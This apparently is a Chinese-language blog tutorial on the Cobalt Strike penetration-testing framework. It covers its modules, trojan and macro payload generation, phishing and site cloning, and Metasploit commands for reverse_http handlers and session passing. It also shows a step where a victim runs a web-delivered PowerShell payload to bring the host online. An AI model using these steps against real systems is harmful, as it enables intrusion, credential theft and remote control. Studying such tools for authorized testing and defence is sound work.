Cobalt Strike基本使用
Cobalt Strike簡介
Cobalt Strike是一款由java編寫的全平臺多方協同滲透測試框架,在3.0版本之前它基於Metasploit框架工作,在3.0後的版本以獨立成一個滲透測試平臺。CobaltStrike集成了埠轉發、埠掃描、socket代理、提權、釣魚、遠控木馬等功能。該工具幾乎覆蓋了APT攻擊鏈中所需要用到的各個技術環節,且其最大的優點在於可以進行團隊合作和優越的UI介面。
Cobalt Strike檔案結構
│ agscript 拓展應用的指令碼 │ c2lint 檢查profile的錯誤異常 │ cobaltstrike 客戶端程式 │ cobaltstrike.jar │ logs 日誌 │ data TeamServer的一些資料 │ teamserver 團隊伺服器程式 │ update 用於更新Cobalt Strike │ update.jar │ third-party 第三方工具
Cobalt Strike使用
CobaltStrike分為客戶端和服務端,Cobalt Strike 需要團隊伺服器才能使用。
(1)啟動TeamServer
./teamserver 192.168.178.128 123456 #ip為本機伺服器ip 123456為設定的密碼
如果要將團隊伺服器部署在公網上,記得加強密碼強度,防止團隊伺服器密碼被破解
(2)啟動Cobalt Strike Client
Host為團隊伺服器ip地址
Port為預設埠
User為連線的使用者,使用者可以自行選擇
Password為團隊伺服器設定的密碼
點選Connect連線之後
再點選是,則加入成功。
Cobalt Strike模組詳解
Cobalt Strike模組
New Connection # 新建連線,支援連線多個伺服器端 Preferences # 設定Cobal Strike介面、控制檯、以及輸出報告樣式、TeamServer連線記錄 Visualization # 主要展示輸出結果的檢視 VPN Interfaces # 設定VPN介面 Listenrs # 建立監聽器 Script Manager # 指令碼管理,可以通過AggressorScripts指令碼來加強自身,能夠擴充套件選單欄,Beacon命令列,提權指令碼等 Close # 退出連線
View模組
Applications # 顯示受害主機的應用資訊
Credentials # 顯示所有以獲取的受害主機的憑證,如hashdump、Mimikatz
Downloads # 檢視已下載檔案
Event Log # 主機上線記錄以及團隊協作聊天記錄
Keystrokes # 檢視鍵盤記錄結果
Proxy Pivots # 檢視代理模組
Screenshots # 檢視所有螢幕截圖
Script Console # 載入第三方指令碼以增強功能
Targets # 顯示所有受害主機
Web Log # 所有Web服務的日誌
Attacks模組
Packages
HTML Application # 生成(executable/VBA/powershell)這三種原理實現的惡意HTA木馬檔案 MS Office Macro # 生成office巨集病毒檔案 Payload Generator # 生成各種語言版本的payload Windows Executable # 生成可執行exe木馬 Windows Executable(Stageless) # 生成無狀態的可執行exe木馬
Web-Drive-by
Manage # 對開啟的web服務進行管理 Clone Site # 克隆網站,可以記錄受害者提交的資料 Host File # 提供檔案下載,可以選擇Mime型別 Scripted Web Delivery # 為payload提供web服務以便下載和執行,類似於Metasploit的web_delivery Signed Applet Attack # 使用java自簽名的程式進行釣魚攻擊(該方法已過時) Smart Applet Attack # 自動檢測java版本並進行攻擊,針對Java 1.6.0_45以下以及Java 1.7.0_21以下版本(該方法已過時) Spear Phish # 魚叉釣魚郵件
Reporting模組
Activity Report # 活動報告
Hosts Report # 主機報告
Indicators of Compromise # IOC報告:包括C2配置檔案的流量分析、域名、IP和上傳檔案的MD5 hashes
Sessions Report # 會話報告
Social Engineering Report # 社會工程報告:包括魚叉釣魚郵件及點選記錄
Tactics, Techniques, and Procedures # 戰術技術及相關程式報告:包括行動對應的每種戰術的檢測策略和緩解策略
Reset Data # 重置資料
Export Data # 匯出資料,匯出.tsv檔案格式
Help模組
Homepage # 官方主頁
Support # 技術支援
Arsenal # 開發者
System information # 版本資訊
About # 關於
工具導航欄
1.新建連線 2.斷開當前連線 3.監聽器 4.改變檢視為Pivot Graph(檢視列表) 5.改變檢視為Session Table(會話列表) 6.改變檢視為Target Table(目標列表) 7.顯示所有以獲取的受害主機的憑證 8.檢視已下載檔案 9.檢視鍵盤記錄結果 10.檢視螢幕截圖 11.生成無狀態的可執行exe木馬 12.使用java自簽名的程式進行釣魚攻擊 13.生成office巨集病毒檔案 14.為payload提供web服務以便下載和執行 15.提供檔案下載,可以選擇Mime型別 16.管理Cobalt Strike上執行的web服務 17.幫助 18.關於
利用Cobalt Strike獲取一個Beacon
1、建立Listener
在Listeners的面板中點選Add
然後輸入名稱(任意),選擇監聽器型別,團隊伺服器ip和監聽埠儲存即可。
然後在監聽的面板中就可以看到我們的監聽器
在有了監聽器之後,我們就可以選擇我們的攻擊模組進行漏洞利用了。我們這裡選擇Scripted Web Delivery攻擊模組(為payload提供web服務以便下載和執行,類似於Metasploit的web_delivery)
然後配置號監聽埠和監聽器後點擊Launch
然後會生成一個payload
複製payload在powershell中執行,肉雞即可上線
我們可以進如Interact的互動模式進行執行命令
Cobalt Strike功能詳解
Listeners(監聽模組)
在監聽模組中內建了八個內建payload
wndows/beacon_dns/reverse_dns_txt windows/beacon_http/reverse_http windows/beacon_https/reverse_https windows/beacon_bind_pipe windows/beacon_tcp windows/beacon_extc2 windows/foreign/reverse_http windows/foreign/reverse_https
這些payload中windows/beacon為內建監聽器,且有dns、http、https、smb、tcp、extc2六種監聽方式,windows/foreign為外部監聽器。
內建監聽器的使用原理和之前配置監聽器原理大致相同,這裡主要再演示一下外部監聽器的使用。
首先我們選擇外接監聽器Foreign模組,填寫相關配置內容
然後開啟在msf中配置相應監聽模組
msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_http msf5 exploit(multi/handler) > set lhost 192.168.178.128 #此處的IP地址和監聽埠要和cs中設定的保持一致 msf5 exploit(multi/handler) > set lport 4444
msf5 exploit(multi/handler) > run
配置好之後我們就可以通過此監聽器來傳遞我們的shell了,點選spawn
選擇我們設定的msf這個外監聽器
這樣在msf這邊就可以接受到cs這邊傳遞過來的shell
這裡講述到了cs傳遞shell到msf,就不得不在提一提msf傳遞到cs了。
首先我們把剛才接受到的session退出,這裡記住這個session的id為1
然後使用模組
msf5 exploit(multi/handler) > use exploit/windows/local/payload_inject
msf5 exploit(windows/local/payload_inject) > set payload windows/meterpreter/reverse_http #切記這裡的payload的協議要與cs的一致
選擇上了這個模組之後我們在回到cs上建立一個監聽器,我這裡有個之前建立好的監聽器
那我們繼續回到msf上配置session和lhost和lport(切記這裡的lhost和lport要和cs上監聽器上配置的是一致的)
然後run執行在cs上等待上線即可。
Attacks(攻擊模組)
Scripted Web Delivery
上面演示的是使用attacks模組中的scripted web delivery模組來進行拿到靶機的shell
這裡有幾個配置選項
URL Path:存放payload的位置
Local Host:團隊伺服器ip地址
Local Port:團隊伺服器埠
Listener:監聽器
Type:要選擇的指令碼型別
全部配置好了之後,點選launch後,會彈出payload
在靶機上執行之後,靶機會在Teamserver下載payload,然後執行並載入到記憶體中,從而獲取主機的Beacon。
Manage
我們生成的監聽器和一些payload都能在這裡進行管理。
Windows Executable
使用方法也和之前大致相同,配置好監聽器和Output即可,這裡的Output分為EXE和DLL兩種型別。
Windows EXE:windows的可執行檔案
Windows Service EXE:基於服務的windows可執行檔案,可以將可執行檔案新增到服務中。
Windows DLL:DLL檔案,一般用於DLL劫持、提權和反彈Beacon。
Payload Generator
配置監聽器,選擇對應指令碼語言即可。
__EOF__
作者: 隨風kali本文連結: https://www.cnblogs.com/sfsec/p/15302595.html
版權宣告: 本部落格所有文章除特別宣告外,均採用 BY-NC-SA 許可協議。轉載請註明出處!
聲援博主:如果您覺得文章對您有幫助,可以點選文章右下角【推薦】一下。您的鼓勵是博主的最大動力!